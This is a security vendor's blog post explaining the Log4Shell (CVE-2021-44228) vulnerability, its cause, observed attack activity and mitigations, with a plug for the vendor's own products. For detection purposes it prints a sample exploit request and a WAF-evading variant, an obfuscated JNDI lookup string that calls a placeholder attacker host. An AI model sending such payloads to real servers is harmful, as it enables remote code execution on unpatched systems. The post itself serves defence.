Blog

Insights into the ‘Log4Shell’ vulnerability and how it started

Dec 21, 2021

Authors: Ta-Lun Yen, Patrick Kuo

 

Prologue

In our previous blog post, we mentioned the Log4Shell (CVE-2021-44228) vulnerability and methods for mitigating it, including using our Edge series products to protect your network against such attacks. This vulnerability is very simple to exploit and has a low skill requirement to obtain scripts to execute attacks on your services, with some sources having already dubbed it the ‘most critical vulnerability of the last decade’.

 

In this post, we’ll share our insights on how the vulnerability started, our analysis on it, and how it spread in the wild.

 

Insights from our observations

We observed attacker activities starting from early December. However, we suggest that organizations expand their hunt for scanning and exploit activities before this date. We suggest looking into it as early as the start of November.

Exploit attempts for CVE-2021-44228 will look like this:

 

GET / HTTP/1.1

Host: <victim ip>

User-Agent: ${jndi:${lower:l}${lower:d}a${lower:p}://attacker[.]io:80/callback}

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

 

However, as the affected component does not implement strict input data sanitation, it’s possible to create payloads to circumvent any ordinary firewalls.

 

Attackers by country

As of the time of this writing, we’re seeing attackers sending payloads over the internet. The attacks mainly come from Germany, Brazil, and United States. However, this does not accurately represent the percentage of compromised log4j2 instances in these countries

We’re also seeing a couple variations of the JNDI template payload being used in an attempt to bypass static WAF rules, for example:

 

${jndi:${lower:l}${lower:d}a${lower:p}://<url>:80/callback}

 

Cause

The patch to mitigate this issue was submitted to apache/logging-log4j2 on the 30th of November by a member of the Apache Software Foundation, the organization which sponsors the log4j project. To play it safe, we should assume that it was somehow reported by 3rd parties to the foundation. This means organizations should search through logs as early as the start of November.

The vulnerability is a quite simple JNDI injection flaw, similiar to template injection in other frameworks. What makes this vulnerability so dangerous is that it is in a really, really bad place, because the lookup() call will expand template placeholders in logging messages.

 

As the function allows one to load a specified JNDI RMI or LDAP name, it will allow direct remote code execution with relatively little effort.

 

Mitigations

  • Upgrade log4j2 to >=2.15.0-rc2. The earlier version, 2.15.0-rc1, is said to fixed the vulnerability, but contains a bypass.
  • Employ network protection products, such as EdgeIPS or EdgeFire. We have numerous rules containing prevention for this attack.
  • Disable JNDI lookup by setting `-Dlog4j2.formatMsgNoLookups=true` in start arguments of log4j.
  • Block external connections from log4j instances. This attack requires the affected servers to fetch payloads from an external location.

 

 

The conclusions shared in this research were based on, among other sources, data gathered by TXOne’s IoT/ICS Threat Atlas project.

TXOne image
TXOne Networks

Need assistance?

TXOne’s global teams are here to help!

or
Find support